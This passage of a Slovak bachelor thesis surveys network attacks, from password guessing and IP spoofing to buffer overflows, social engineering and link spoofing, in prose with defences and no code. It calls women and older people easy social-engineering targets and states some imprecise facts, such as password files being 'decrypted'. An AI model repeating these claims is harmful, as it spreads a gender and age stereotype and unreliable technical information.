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Uvod

Pri vybere témy bakalarskej prace som dbal najmé na to, aby mi bola téma blizka a
prakticky aplikovatelna. Po konzultacii s firmou v ktorej pracujem, sme sa zhodli na tom,
Ze by malo ist’ o tému, ktora sa bude tykat bezpecnosti komunikacie cez pocitatové siete.
Pracujem na projekte pri ktorom je bezpecnost’ vel'mi ddlezita a pripadna strata dat Ci

informacii méze mat’ katastrofalne nasledky.

Cielom bakalarskej prace je nie len zvySenie bezpe€nosti komunikécie cez siet’, ale
aj vSeobecne informovat’ o hrozbach uniku dat spdsobenym vonkaj$im vplyvom a Gtokom.
Bakalarska praca bude aplikovatel'na na komunikaciu na projekte aj pre bezné¢ho uzivatel'a
Internetu. Pouzivanie nezabezpecCenej komunikacie je nie len problém jednotlivcov, ale
problém globalny. V dnesnom Svete ma ¢lovek Coraz menej stikromia a na internete to
moze platit dvojnasobne. Na vine je mala informovanost' ¢i neochota venovat sa

bezpecnosti komunikacie dosledne.

V bakalarske; praci sa budem venovat bezpecnosti takmer vSetkych foriem
komunikécie cez siet. Od komerénych komunikaénych programov, typu ICQ ¢i SKYPE,
po emailovi komunikaciu. Bakalarska praca bude pozostavat' zanalyzy bezpecnosti
pouzivanych  komunika¢nych  programov, ztestov analyzovanych programov

a Z nasledného navrhnutia zmien, ktoré budu viest’ k zvySeniu bezpecnosti.

Napriek dostato¢nému mnozstvu mnozstvu literatlry, ktord mam k dispozicii, bude

bakalarska praca obsahovat aj vlastné poznatky, ¢i skusenosti.



1. Uvod k bezpecnosti komunikacie cez pocitacovu siet’

1.1 Internet a bezpe¢nost’

Najcastejsie kritizovana vlastnost' Internetu byva jeho nizka bezpeénost. Tym je
chdpand absencia zabezpecCovacich mechanizmov, ktoré by chranili data pri ich prenose. V
skutoCnosti miera bezpecnosti na Internete nie je o ni¢ nizsia nez napriklad u telefonne;j
siete. Napriek tomu l'udia bezny telefon nezavrhli ale naudili sa ho pouzivat’ taky aky je.
Rovnako je tomu aj v pripade Internetu. NebezpeCenstvo a potencialne ohrozenia na
Internete skuto¢ne existuju, aj ked’ v praxi byva ich vyznam ¢asto precefiovany. Na druhej
strane nie je spravne ani ich Uplné ignorovanie. DoleZité je realne postdenie miery
ohrozenia, vyznam toho, ¢o ma byt chranené. Jedno z moznych hrozieb pritom pochadza
od l'udi, pre ktorych sa zacalo pouZzivat’ oznacenie hacker.

Historia pocitacovych utokov a hackerstva siaha iba do neddvnej minulosti, ale aj
naprieck tomu je velmi bohatd a mohla by konkurovat inym vednym disciplindm s
niekol’kostoro¢nou tradiciou. Pocita¢ové utoky sa vo vyraznejSej miere zacali objavovat’ s
novym fenoménom doby - pocitaovymi sietami. Najpruds$i rozvoj zaznamenali
pocitaCové siete od roku 1985 a od tohto roku moéZeme hovorit’ aj o historii pocitacovych
utokov. Pocas tejto kratkej doby sa mnoho jednotlivcov aj organizovanych skupin,
pohananych roznymi pohnttkami pri¢inilo o nespocetné mnozstvo mensich, ale aj vacsich
pocitacovych utokov na rozmanité ciele. Hackeri sa neraz dokazali svojou ¢innostou
zapisat’ do historie.

Miera nebezpecenstva odcudzenia, alebo znicenia udajov na samostatnom pocitaci
nepripojenom Kk sieti je nizka, lebo takyto ¢in si vyzaduje fyzicku pritomnost’ pachatel’a na
mieste Cinu, Co preinho predstavuje velké riziko. V pripade pocitaca pripojen¢ho k
Internetu je situdcia celkom ina. Vo virtudlnom svete pocitacovych sieti sa nachadzaju
jednotlivei, ktori z nendsytnosti, alebo iba z Cistého pozitku z klamania a niCenia,
vyuzivaji nedostatocné zabezpecenie sieti, nahravaju si osobné informacie a kradnu alebo
nicia udaje. V masmédiach vo vSeobecnosti tychto jednotlivcov nazyvaja ,,hackermi".

Zabezpecenie sieti je dnes a denne vystavované skuske ohilom. Spravna otazka ale je,
kto ju sktisa. Pokial’ sme to my sami, je vSetko v poriadku, ale zo vSetkych stran na nas
utocia aj cudzie ,.elementy”. Systémy zapojené na Internet (teda systémy s verejne

dostupnou IP adresou) zaznamenavaji denne mnoho pokusov o utok, ¢asto su ich stovky 1



tisice. Mnohé z nich st jednoduché pripady skenovania siete ¢i skimania, proti ktorym sa

branit’ vieme, ale iné nas vedia neraz zastihnat’ nepripravenych.

1.2 Hacker

Hackeri st odborne vel'mi zdatni uZivatelia Internetu, ktori dok&zu prekonat’ mnohé
nastrahy a vyuzit' najroznejSie medzery systémov. DOleZita je pritom ich motivacia a
podstata ich neStandardnych ¢inov. Hackermi moézu byt jednotlivei motivovani
ekonomickym ziskom alebo potrebou nicit, pripadne tzv. ,,dobri" hackeri, ktori sa
pokUS8aju naburat’ do vasej siete pre vlastné poteSenie a ich jedinou motivaciou a zaroven aj
cielom je tizba po dobrodruzstve a prekonavani bariér. Nezalezi na tom, kto je hackerom
alebo aké su jeho iimysly, hacker predstavuje nebezpecenstvo a je nevyhnutné chranit’ pred
nim svoje Udaje.Klasicky hacker nemusi mat skutoéne zlé imysly, skor mu ide o to, aby si
overil svoju odbornu zdatnost’, aby ukazal ¢o vie, aby sa predviedol, alebo upozornil na
nedostatocnti bezpe¢nost’ systémov. lde teda v istom zmysle o Specificky druh zabavy a
vlastnej sebarealizdcie. Ak mé narusSitel’ skutocne zl¢ umysly, a svoje akcie podnika s
cielom ublizit, zni¢it’, nieCo neopravnene ziskat’, potom sa oznacuje skor ako cracker. V
praxi ale toto jemné rozliSenie nie je brané prilis do uvahy a terminom hacker je nie prilis

spravne oznaCovany aj cracker, ¢iZe aj ten, kto ma skutocne zI€ umysly.

1.3 Firewall

Absenciu zabezpeCovacich mechanizmov v samotnom Internete (na urovni jeho
prenosovych mechanizmov) mozno samozrejme kompenzovat’ dodatoénymi opatreniami,
ktoré sa realizuju v koncovych uzloch (nie v prenosovych castiach siete), a to tam, kde st
skuto¢ne potrebné (na turovni konkrétnych aplikacii). Takato je napokon aj celkova
filozofia Internetu, ktora hovori Ze prenosové mechanizmy by mali hlavne prenasat’ data,
zatial' o o d’alSie veci (vratane zabezpecenia) by sa mali starat’ tie subjekty (koncové uzly
a aplikacie na nich prevadzkované), ktoré to skuto¢ne potrebuju a si na tom aj lepSie
disponované a vybavené. K zvySeniu bezpecnosti pritom mozno pouzit' celt Siroku Skalu
rieSeni, zacinajucich u Cisto organiza¢nych opatreniach (spocivajucich napriklad v tom, ze
doélezité data sa nenechavaju na pevnych diskoch, ale uchovavaju sa na CD ¢i USB, ktore
sa uzamykaji do trezorov). Na opa¢nom konci spektra stoji komplexnejSie rieSenie,
tvorené kombinaciou technickych a programovych prostriedkov. VSeobecne sa vSetkym
takymto opatreniam hovori firewall, ¢o v doslovnom preklade znamena ohniva stena. To

zodpoveda castejSiemu nasadeniu pre potreby oddelenia chranenej privatnej siete od
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Internetu, v ktorom mo6zu pdsobit’” hackeri ¢i ini nepozvani uZivatelia, pri¢om firewall ma

sluzit’ prave ako zdbrana proti ich neZiaducim aktivitam.

1.4 Demilitarizovana zona

Komplexnejsie rieSenie, plniace tlohu firewallu, byva zaloZené na pouZziti urcitého
medzistupna medzi oboma svetmi, ktoré maji byt riadenym sposobom prepojené - teda
medzi chranenou privatnou sietou a nezabezpecenym Internetom. Tento medzistupen ma
charakter malého samostatného sietového segmentu, ktory je viditel'ny z oboch strén, ale
nie je transparentny skrz. Vd’aka spdosobu, akym je prepojeny privatnou sietou aj SO
samotnym Internetom je moZznd len taka prevadzka, ktord zacina alebo konci v tomto
medzistupni. 'V odbornej terminoldgii sa tomuto medzistupni hovori vystiZzne
demilitarizovana zona, pretoze skuto¢ne sluzi ako urcité naraznikové pAsmo medzi oboma
okolitymi svetmi. Ide napokon o rovnaky princip, aky l'udia poznaju uz celé starocia, a
pouZzivali ho treba pri stavbe stredovekych hradov. Tie obohnali vodnou priekopou, cez
ktory sa nikto nemohol dostat’. Potom vytvorili jedini uzku branu do hradu, a ta bola
jedinym miestom, cez ktoré bolo mozné sa do hradu dostat’. V brane pritom stal strazca, a
nikto nemohol okolo neho prekiznut’ bez povsimnutia - strazca si kazdého kto prichadzal
alebo odchadzal skontroloval, a bud pustil, alebo nepustil. Analogicky funguje aj
demilitarizovand zdéna v ramci dnednych firewallov. Tiez skrz fiu nemodze ni¢ prejst
priamo, a jedina moznost je vyuzit' sluzby prestupového uzla, umiestneného priamo v

demilitarizovanej zone.
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2. Druhy dtokov na pocitacové siete

2.1 Utoky na hesla

Ciel'om ttoku je ziskanie nelegalneho pristupu k poéitacu pripojenému k pocitacovej
sieti (najCastejSie Internetu), zneuzitim konta legalneho pouzivatela. Tato technika sa
naj¢astejSie pouziva pri ziskavani vstupu do unixovych systémov a systémov Windows.
Principom takéhoto druhu Utokov je hadanie pristupového mena a hesla uzivatela v online
sietach. Spociatku sa hackeri pokusali naburat do sietovych systémov opakovanym
vkladanim jedného pristupového mena a hesla, hacker skusal uhadnut’ heslo pokial
nenasiel to spravne. VylepSenim tohoto spdsobu je napisanie a pouZitie jednoduchého
programu, ktory automaticky generuje hesla na online systémoch namiesto hackera.

Charakteristické pre tieto programy je, ze cyklicky skusaju vsetky hesld, pokial
nevyskusaju vsetky hesla zo slovnika obsahujdceho potencionalne hesla. Tieto rychle
automatizované (toky sa nazyvaju aj slovnikové orientované atoky (dictionarased
attacks). Slovnikovo orientovanymi Gdtokmi s ohrozené hlavne systémy zaloZené na
unovskom zdklade, pretoze niektoré verzie Unixu neuzamkni konto pouZzivatela po
ur¢itom pocte neuspesnych pokusov o prihlasenie sa do systému. VacSina ostatnych
operacnych systémov (napr. Windows 2000) uzamkne pouzivatel'ské meno (konto
pouzivatela) po presne danom pocte pokusov o prihldsenie a zadanie spravneho hesla.
Hacker sa m6ze pokusat’ napriklad tisickrat netspeSne prihlasit’ do neoSetren¢ho systému
Unix bez toho, aby systém ukoncil spojenie alebo aspon upozornil administratora na
podozrivé spravanie.

Jednym zo spdsobov, ako moze hacker ziskat” subor hesiel je pouzitie Standardnych
sluzieb Unixu - Telnet a FTP pomocou ktorych sa dostane k normalne ¢itatelnym sitborom
v ktorych su uloZené hesla pouzivatel'ov, pretoze systém Standardne Sifruje hesla do
verejne pristupného suboru. Kazdy unixovsky systém Sifruje svoj subor s heslami podla
rovnakého algoritmu (matematickymi funkciami), ¢o predstavuje dalSiu prileZitost' pre
hackera, ktory moze obist” heslo deSifrovanim stboru hesiel algoritmom, ktory je pristupny
na Internete. Tento algoritmus patri medzi zakladné pomdcky hackera, pomahajuce mu pri
naburavani sa do systémov, ktoré su rozsirené¢ medzi hackerskou spolocnost’ou.

Ochrana pred utokom spociva vo vhodnom nastaveni parametrov servisov alebo démonov
zabezpecujucich prihlasovanie do systemu. Administrator by mal parametre nastavit’ tak,
aby umoznovali pouzivatel'ovi iba obmedzeny pocet neuspesnych pokusov o prihlasenie sa

do systému a potom konto nekompromisne uzamkli.
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2.2 Utoky zaloZené na monitorovani siete

Ciel'om byva odcudzenie informacii prenasanych udajovym tokom pocitacovej siete
(najcastejsie Internetu) vo forme paketov. Tento druh pocitatového utoku je nezavisly od
pouzitého operacného systému.
Kazdy paket prenaSany Internetom moze putovat’ cez velké mnozstvo pocitacov (uzlov
siete) predtym, ako dorazi k svojmu adresatovi. Odpocuvanim paketov mdzu hackeri
zachytit’ pakety cestujice medzi jednotlivymi miestami Internetu, ich obsah skopirovat’ a
vydolovat’” z neho dodlezité informacie. Tieto zachytené pakety mdézu obsahovat’ napr.
pouzivatel'ské mena a hesla, prenos Cisiel kreditnych kariet, ¢asti mailov, atd’. Ked” hacker
zachyti paket, m6ze ho otvorit’ a ukradnit meno pocitaca, pouzivatel'ské meno a heslo
pridruzené k paketu. Klasickym scenarom hackermi pouZivaného utoku je ziskavanie
informacii monitorovanim siete odpocuvanim paktov a nasledny utok predstieranim IP
adresy.

Ochrana pred utokom moéze byt realizovana napriklad Sifrovanim informacii
prenaSanych prostrednictvom pocitaovej siete, ¢o sice hackerovi nezabrani skopirovat

prenasané pakety ale ich obsah bude preitho tazko dostupny.

2.3 Utoky predstieranim IP adresy

Vysledkom takéhoto (toku ziskanie neopravneného pristupu k pocitacu
pripojenému k pocitacovej sieti (najéastejSie Internetu), uvadzanim faloSnej identifikacie
svojho pocitaca a vydavanim sa za legalneho pouzivatel'a. Tento druh pocitatového ttoku
je mozné pouzit v systémoch Unix a Windows. Tento druh utokov tazi zo spOsobu
adresovania paketov pouzivaného IP pri prenose udajov. Pocitade pri prenose udajov
medzi sebou v kazdom prenose uvadzaji identifikdciu pocitaca odosielatela a pocitaca
adresata. Ked’ hacker pouzije predstieranie IP adresy (IP spoofing) k napadnutiu siete,
znamena to, Ze poskytuje chybné informacie o svojom pocita¢i. Inak povedané, hacker
tvrdi, ze je hostitelom v ramci internej siete alebo inak chranenej siete tym, ze skopiruje
TCP/IP adresu skuto¢ného hostitel'a. Predstieranie IP adresy umoZni hackerovi ziskat’
vnuatorny pristup k systému a systémovym sluzbam, odpovede na vyzvy a Ziadosti nep6jdu
k narusitel'ovi, ale k hostitel'ovi internej siete, ktorého sa narusitel’ snazi emulovat’.

Hacker hl'ada poradové TCP/IP ¢islo v dvoch krokoch. V prvom kroku sa pokusi
urcit’ [P adresu servera. Existuje niekolko spdsobov ako zistit' adresu servera napr.
sledovanim paketov v Internete , postupnym sktiSanim cisiel uzlov alebo pripojenim sa k

uzlu WWW prehliadacom a hl'adanim jeho IP adresy v stavovom riadku. Ostatné pocitace
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siete maju Cast’ adresy zhodnu s adresou servera, hacker sa preto pokusa najst taku IP
adresu, ktord& mu umozni prechod smerovacom a zaisti pristup do siete ako internému
pouzivatel'ovi. Napriklad ak ma systém IP adresu 192.0.0.15, je to adresa triedy C, hacker
vie, Ze v sieti moze byt’ pripojenych maximalne 256 pocitacov, tak vyskusa hadat’ vsetky
Cisla, ktoré reprezentuje posledny bajt tejto série. Hacker najskor monitoruje poradové
Cisla paketov prechddzajlice medzi pocitacmi tejto siete. Potom sa pokusi d’alSie poradoveé
Cislo, ktoré server vygeneruje a potom predstiera toto Cislo, o spdsobi ze sa vlozi medzi
server a skuto¢ného pouzivatela. Ked’ze hacker pozna IP adresu servera, méze generovat
pakety so spravnymi poradovymi Cislami a spravnymi IP adresami, ¢o mu umozni uplne
zachytit’ vysielanie medzi serverom a legitimnym pouZivatelom. V si¢asnej dobe zdihava
a komplikovani manuélnu pracu hackera nahradili automatické programove néstroje,

schopné previest’ tento druh napadnutia v priebehu dvadsiatich sektind.

2.4 Utoky zaloZené na predpovedani poradovych &isiel

Tato technika je urcena k predstieraniu IP adresy v sietach zalozenych na systémoch
Unix. Pri zacati kazdého TCP/IP spojenia si obidva navzajom prepojené pocitaCe vymenia
Startovaci paket, ktory obsahuje poradové cisla (hand shakeing). Pocitace vygeneruju
poradové cisla na zdklade internych hodin kazdého pocitaca a pouzivaji ich ako sucast’
kazdého prenosu pocas pripojenia. V niektorych verzidch Unixu su poradové Cisla
uréované podl'a modelu, ktory je napodobitelny podl'a znameho algoritmu (matematickej
funkcie). Po odvodeni modelu algoritmu tym, Ze sa zaznamena urcity pocet poradovych
Cisel legalnych pripojeni v roznych chvilach pocas dna, moéZze hacker s urcitou
pravdepodobnost'ou ziskat’ poradové Cislo potrebné k vymene Startovacieho paketu (hand
shakeing) a k vytvoreniu neautorizovaného spojenia.

Najjednoduchsi a najucinnejSi sposob ochrany pred utokmi zalozenymi na
predstierani IP adresy mozeme zabezpecit’ nastavenim plnej ochrany auditnym zaznamom
v kazdom pouZzitom smerovaci, firewalle a serveri, v systéme. PouZivanie auditného
zaznamu nam umoziuje sledovat’, kedy sa hacker pokusa dostat’ cez smerovac a firewall
aby ziskal pristup k serveru. Hlasenie Pristup zamietnuty. Neznama IP adresa. (Access
denied. IP adress uknown) sa vyskytne v zazname vtedy, ked’ hackerov pocita¢ vygeneruje
nespravnu hodnotu poradového Cisla. Pouzitim d'al’sej sluzby operacného systému modzeme
nastavit zaznamnik udalosti tak, aby automaticky poslal vystrahu, alebo aby zakazal
uto¢nikovi pristup v pripade, Ze sa v audiom zdzname zisti opakovany vyskyt uvedenych

polozZiek.
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2.5 Utoky zaloZené na tinose spojenia

Sluzi k ziskaniu nelegalneho pristupu ku kontu pouzivatela, ktory je prave pripojeny
a pracuje so svojim kontom. Tato technika sa vyuziva pri utokoch na operac¢né systémy
Unix a Windows pouZivajace komunikaciu Client to Server. Tento druh Gtoku sa radi
medzi popularnejsie utoky ako predstieranie IP adresy. Tato skutocnost’ vyplyva Ciasto¢ne
s toho, Ze unos spojenia dovoluje import aj export iidajov zo systému. Unos spojenia
predstavuje technicky menej naro¢ny druh hackerského tutoku, lebo si nevyzaduje
predpovedanie poradovych cisiel a unos TCP umozni hackerovi obist’ jednorazové heslo v
systémoch vyzva-odpoved’ a nasledne skompromitovat’ aj uzol s vysokym stupiiom
zabezpecenia. Obidenie hesla moze hackerovi umoznit’ prienik aj do d’alSich operaénych
systémov. Pri tomto spdsobe napadnutia ndjde Utoc¢nik existujuce spojenie medzi dvoma
pocitaCmi, vo vSeobecnosti medzi klientom a serverom. Sledovanim siete moze utocnik
zistit’ prislusné poradové cisla (¢isla TCP/IP adries) po€as vymeny medzi pocitami. Ako
nahle sa podari uto¢nikovi ziskat’ adresu legitimneho pouzivatela, unesie pouzivatel'ove
spojenie tym, Ze simuluje ¢islo adresy pouZivatela. V momente tinosu spojenia odpoji
hostitel'sky pocitac¢ legitimneho pouzivatela a hacker ziska vol'ny pristup k siborom, ku
ktorym ma pristup legitimny pouZzivatel’.

Ochrana spojenia pred unosom je vel'mi obtiazna a detovat’ tinos spojenia je takmer
nemozné, lebo Unosca sa javi systému ako legalny (uneseny) pouzivatel. Vlastna ochrana
pred inosom spojenia spociva v ochrane oblasti systému, z ktorych by uto¢nik mohol
spustit’ unos. Vhodnym rieSenim je napr. pouzitie Sifrovania , odstranenie nepotrebnych,

implicitnych uctov, patchovanie zranitenych miest systému.

2.6 Utoky zaloZené na pretefeni zasobnika

Tato skupina hackerskych technik sa vyznacuje Sirokym rozsahom praktického
pouZitia. Jednotlivé modifikacie tejto skupiny metdd sldzia hackerom na ziskanie
neopravneného pristupu k vzdialenym systémom, ale aj na ziskanie Uplnej kontroly nad
napadnutym systémom. Utoky zaloZené na preteteni zisobnika mozu byt namierené proti
pocitacom zaloZenym na operacnom systéme Unix, ale aj Windows.
Tento druh utokov predstavuje v stcasnosti asi najvacsiu a najprepracovanejSiu skupinu
hackerskych technik. Tato technika vyuZiva nedostatky programového vybavenia pri praci
s Udajovou Struktarou z&sobnik (stack) a moze byt zneuzitd pri ziskani neopravneného
pristupu k serveru, ako aj pri ziskani kontroly nad aplikaciami a systémom. Hacker

umyselne spdsobi preteCenie zasobnika napr. zadanim nevhodného vstupu, ¢im vyvola
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nepredpokladané spravanie sa programu alebo jeho zrutenie, ktoré vyuZije vo svoj
prospech a postihnuty program odovzda riadenie hackerom podstréenému programu.
Zasobnik je LIFO udajova Struktira premenlivej vel'kosti umiestnend v operacnej pamiiti,
na jej pouzivanie sliZia Specialne prikazy. Standardne je zasobnik vyuZivany dvoma
spbsobmi: sldzi CPU v pripade potreby na rychle odkladanie Gdajov, pretoze CPU méa
obmedzeny pocet registrov a sliZi programom na vytvaranie dynamickych udajovych
Struktur sliziacich na do¢asné uchovanie tidajov napr. pri vstupe a vystupe.

Pred vykonavani akejkol'vek procedury CPU ulozi do zasobnika navratova adresu a
ked’ procedura skon¢i, CPU preda riadenie na dani navratova adresu. Ale ak procedura
zapiSe do lokalnej premennej vac¢sie mnozstvo bajtov ako je jej vel'kost, prepisSe aj hodnotu
navratovej adresy a vznikne tzv. pretecenie zasobnika. Vhodnou manipulaciou lokalnej
premennej v procediure moze hacker prepisat’ pdvodnil navratovu adresu novou adresou,
ktord ukazuje na miesto v pamati, kde umiestnil svoj vlastny program, ktory prevezme
riadenie po ukonceni procedury.

Existuje mnoho spdsobov zneuzitia preteCenia zasobnika, medzi najcastejSie patri
ziskanie neautorizovaného vzdialeného pristupu k serveru a ziskanie autorizacie spravcu
systému. Odolnost’ programov voc¢i takémuto druhu utokov zavisi hlavne od robustnosti
opera¢ného systému, spravneho pouzitia programovacich technik a dodrzania zésad tzv.
bezpec¢ného programovania.

Ochrana pred napadnutim systému technikami vyuzivajicimi pretecenie zasobnika spociva
hlavne v pravidelnom sledovani novo objavenych dier, ktoré byvaju prezentované napr. na
WWW strankach vyrobcov softvéru a ich opravovani subormi vyrobcu, pripadne

nahradenim pouzivaného softvéru inou verziou alebo produktom iného vyrobcu.

2.7 Utoky na firewall
Tieto techniky umoznuju hackerovi ziskat’ pristup k poc¢itacom a prostriedkom firewallom
chranenej siete. PouZitie tejto skupiny technik priamo nezavisi od pouzivaného opera¢ného
systému, ale skor od samotnych aplikacii a technickej realizécie firewallu.

Existujd Styri zdkladné postupy umoziiujuce hackerovi prekonat’ ochrannt bariéru
firewallu:
* hacker zneuZije osobu, ktora ma pristup k pocitatom za bariérou a s jej pomocou

(vedomou alebo nevedomou) umiestni ,,zadné vratka" do ochrannej bariéry.

* hacker zneuzije zraniteIné miesta servisov. Aj ked’ firewally sa snazia minimalizovat

prevadzku medzi chranenou a nechranenou castou siete musia poskytovat priestor
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zakladnym sluzbam (servisom), ako su napr. mail, WWW, DNS a pod. Tieto servisy sU
¢asto umiestnené na ochrannom pocitaci, na ktorom je umiestneny aj softvér firewallu,
Cize v ,rizikovej oblasti", ¢o pre hackera predstavuje vyborné miesto pre Gtok.

* hacker zneuzije externé zranitené pocitace v nechranenej Casti siete. Cudia pracujici na
pocitacoch za ochrannou bariérou sa Casto pripajaji k zranitelnym pocitacom mimo
chranenej siete. Ak sa hackerovi podari ziskat’ kontrolu nad tymto pocitalom modze
zneuzit' spojenie medzi hacknutym pocitatom a pocitacom v chranenej sieti na

prekonanie ochrannej bariéry.

* hacker pouzije tzv. trojske kone. Hacker tajne nainstaluje svoj program do aplikacie,
ktord sa pouziva v chranenej casti siete a umozni mu prechod ochrannou bariérou.
Existuje niekolko spdsobov, ako dostat’ infiltrovanu aplikaciu (tréjskeho kona) za
firewall, napr. modifikovanim novej verzie softvéru pouzivaného firewallom, ktora si
potom pouzivatelia stiahnu a nainstaluju, ¢oho vedlaj§im G¢inkom je aj umiestnenie

zadnych dvierok pre hackera.

V praxi tieto postupy moézu byt realizované roznymi hackerskymi technikami
najcastejSie zneuzitim preteCenia zdsobnika a zneuzitim zranitenych miest konkrétnych
aplikacii pouzitych v chranenej Casti siete. Konkrétna realizacia utoku zavisi aj od druhu
pouZitého firewallu a jeho nastavenia.

Ochrana pred Utokom spociva hlavne v spravnom nastaveni riadiacich pravidiel
prevadzky firewallu a v dostatoCnej ostrazitosti administratora siete, ktory nesmie

prehliadnut’ Ziadne podozrivé aktivity.

2.8 Utoky na bezpeé&né pripojenia

Cielom utoku je ziskanie nelegalneho pristupu k vzdialenym hostitel'skym
pocitaCom (serverom) pripojenych k pocitacovej sieti. Tato technika utokov je pouzite'na
v sietach pouzivajlcich opera¢ny systém Unix a Windows NT/2000.

Utok je zalozeny na zneuziti mechanizmov doveryhodného (zabezpeceného,
bezpecného) pristupu (trusteccess) k serverom. Tieto mechanizmy predstavuju velké
bezpecnostné riziko hlavne v niektorych verziach operacného systému Unix. V tychto
unixovskych operaénych systémoch mozu pouzivatelia vytvarat’ trusted host subory (napr.
.rhost subory v domovskom adresari), ktoré obsahujii mena hostitel'ov (serverov) alebo

adresy, z ktorych moéze pouzivatel' ziskat” pristup k systému bez nutnosti zadavania
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pouzivatel'ského hesla. Ked’ sa pouzivatel’ pripoji z bezpe¢ného (trusted) systému, staéi ak
pouZije prikaz rlogin, alebo obdobny prikaz s prislusnymi parametrami. Takymto
spOsobom sa modze hacker ziskat pristup k pouZivatel'skému systému, ak zisti meno
doveryhodného pocitaca, alebo uhddne kombinaciu pouzivatel'ského mena a servera.
Spravcovia unixovskych systémov stale vytvaraju stbory .rhost v korefiovom adresari, aby
sa mohli pouzivatelia rychlo premiestiiovat’ medzi servermi.

Postupnym zvySovanim popularity tohoto druhu utokov si spravcovia systémov

uvedomuju vel'ké nebezpecenstvo pre ich systémy a realizuji potrebné ochranné opatrenia.

2.9 Utoky vyuZivajice zdiePané kniZnice

Tato skupina technik umoznuje hackerovi nepozorovane ziskat’ uplni kontrolu nad
postihnutym operaénym systémom. Zdielané kniznice predstavuji potencionalne
bezpecnostné rizika najmi v operacnych systémoch Unix a Windows.

Cielom tejto skupiny utokov st zdielané kniznice (*.DLL a *.so.lib). Zdiel'ana
kniZnica je mnozina beznych programovych funkcii, ktoré opera¢ny systém nahrava zo
suboru do operacnej pamite pri Starte prislusného programu. Tuto skutocnost’ sa moéze
pokusit’ zneuzit' hacker, ktory nahradi programy v zdielanych kniZniciach novymi
programami, ktoré sluzia potrebam hackera, napr. instalacia zadnych dvierok alebo
zabezpecenie privilegovaného pristupu k siborom a pod.

Ochrana pred utokom spoc¢iva v ,,strazeni" systému a pravidelnej kontrole integrity a
povodu zdielanych kniZznic spravcom siete. Povod zdielanych kniznic (ale aj inych
systémovych siborov) mozno overit’ kontrolou ich digitalneho podpisu, ktory autorizovany

vyrobcovia softvéru pridavaju k svojim produktom.

2.10 Utoky zaloZené na spoloenskom planovani

Ciel’ atoku ziskanie neopravneného pristupu k pocitatom pripojenym k pocitaovej
sieti prostrednictvom zneuzitia dovery vytipovanych pouzivatel'ov. Tieto techniky nie su
obmedzené pouzivanym opera¢nym systémom, ani softvérovym vybavenim.

Technika utokov zalozenych na spolo¢enskom planovani (social engineering) by
mala skor patrit do skupiny psychologickych utokov, ako do skupiny pocitacovych
utokov. Jej princip je zalozeny na zneuziti dovery vytipovaného pouzivatela. Pri vybere
vhodnych kandidatov sa hackeri sustreduju na uréité skupiny s potencionédlne nizSou
uroviiou vedomosti v pocitacovej oblasti, napr. Zeny astarSi T'udia. Frekvencia a

nebezpecenstvo tejto skupiny hackerskych utokov rastie s poctom pouzivatel'ov
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pripojenych k Internetu a sietam vSeobecne. Klasickym prikladom spolocenského
planovania hackerom je rozposlanie mailov vytypovanym pouZivatel'om (tento druh tutoku
je realizovatel'ny aj formou telefonneho hovoru), v ktorom sa hacker prezentuje ako
systémovy administrator. Text mailu pouzivatelom hovori, aby odpoved’ou poskytli
mailom svoje heslo ,,administratorovi", lebo z nejakych pric¢in bez neho nemdze vykonat
tdrzbu systému. Uspesnost’ utokov zaloZzenych na spoloéenskom planovani zavisi hlavne
od hibky pogitadovych znalosti a inteligencie pouzivatel'ov.

NajlepSou ochranou je v tomto pripade v¢asné a pravidelné varovanie pouZzivatel'ov

spravcom systému.

2.11 Utoky na WWW stranky

V tejto casti prace popisujeme dva z najbeznejSich spdésobov napadnutia
prostrednictvom WWW strdnok. FalSovanie hypertextovych odkazov (hyperlink spoofing)
a manipulacia WWW (web spoofing) su techniky, pomocou ktorych méze hacker
napadnit’ pocitace komunikujice prostrednictvom HTTP (Hyper Text Transmision

Protocol) protokolu.

2.11.1 FalSovanie hypertextovych odkazov

Cielom tutoku je manipulacia informacii prezentovanych na WWW strankach
prostrednictvom faloSného hypertextového odkazu smerujuceho na hackerom ovladana
WWW stranku.

Utok podvrhnutim hypertextového odkazu vyuZiva chybu v spdsobe, akym
prehliadace pouzivaju digitalny podpis pre zabezpeCenie WWW spojenia. FalSovanie
odkazov neutoci na kryptografiu nizSej tirovne, ani na samotny SSL protokol, ¢o umoziuje
utok pouzit aj na iné aplikacie zabezpefené certifikdtom, v zdvislosti od toho, akym
spbsobom je certifikat pouZity.

Hacker sa vloZi do toku paketov medzi klienta a server ako tajny sprostredkovatel’
(man in the middle). Potom sa mdze tajny sprostredkovatel’ pokusit’ presvedCit’ prehliadaé,
aby sa pripojil k faloSnému serveru, ktory bude mat’ aj nadalej parametre bezpecného
pripojenia. Hacker potom presvedci pouzivatela, aby odhalil svoje doverné informacie,
ako napr. Cislo kreditnej karty, osobné identifikaéné ¢islo (PIN), podrobnosti o poisteni
alebo ucte v banke, faloSnému doveryhodnému serveru. Medzi d'alSie nastrahy
podvrhnutych hypertextovych odkazov patri nebezpecenstvo, ze si pouzivatel (napr.

bankovy alebo databazovy klient) méze v domnienke, ze sa jedna o bezpecny server z
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falosného serveru stiahnut’ a spustit’ hackerom nastrazeny javovsky aplet. Hacker sa méze
po ziskani obvyklych certifika¢nych konvencii vydavat’ za 'ubovolny server s nastavenym
SSL.

Vo chvili, ked’ sa pouzivatel’ pokusa o vytvorenie SSL spojenia, prehliadac zdiel'a so
serverom protokol pre autentizaciu servera. Utok falosnym hypertextovym odkazom sa
sustred'uje iba na autentizciu servera. PocCas ivodného handshakeingu SSL protokolu
odovzda server prehliadacu svoj certifikat. Certifikat serveru je digitdlne podpisana
udajova Struktura, ktora obsahuje verejny kIi¢ servera s urcitymi atribatmi. SSL protokol
v certifikate pouziva meno domény (DNS). Spravnym prenosom protokolu a predloZzenim
platného certifikatu, ktorému klient doveruje, server dokazuje prehliadau, Ze je
vlastnikom prislusného stkromného kl'ica. Prehliada¢ dokaz akceptuje a veri, Ze server ma
pravo pouzivat uvedené DNS meno. Pre falosny odkaz nepredstavuje SSL skutocny
problém, ale je nim skor obsah certifikatu a pouzivatel’ské rozhranie prehliadaca.

Utok podvrhnutym hypertextovym odkazom ma dost vysokd percentudlnu
uspesnost’ sposobenti tym, ze va¢sina pouzivatelov nevyzaduje spojenie cez mend DNS
alebo URL, ale cez odkazy. SSL verifikuje iba tu cast’ URL, ktord zodpoveda serveru, ale
nie odkaz, na ktory klikol pouZivatel. Cielom falSovania sa moze stat’ DNS meno (DNS
spoofing, DNS server neuvadza svoju pravl internetovl adresu), ale aj URL, ked’ stranka
neuvedie svoje pravé meno pre URL, obidve formy falSovania zavedi pouzivatela na
nespravne miesto. Z technického hl'adiska je falSovanie odkazu jednoduchsim sposobom,
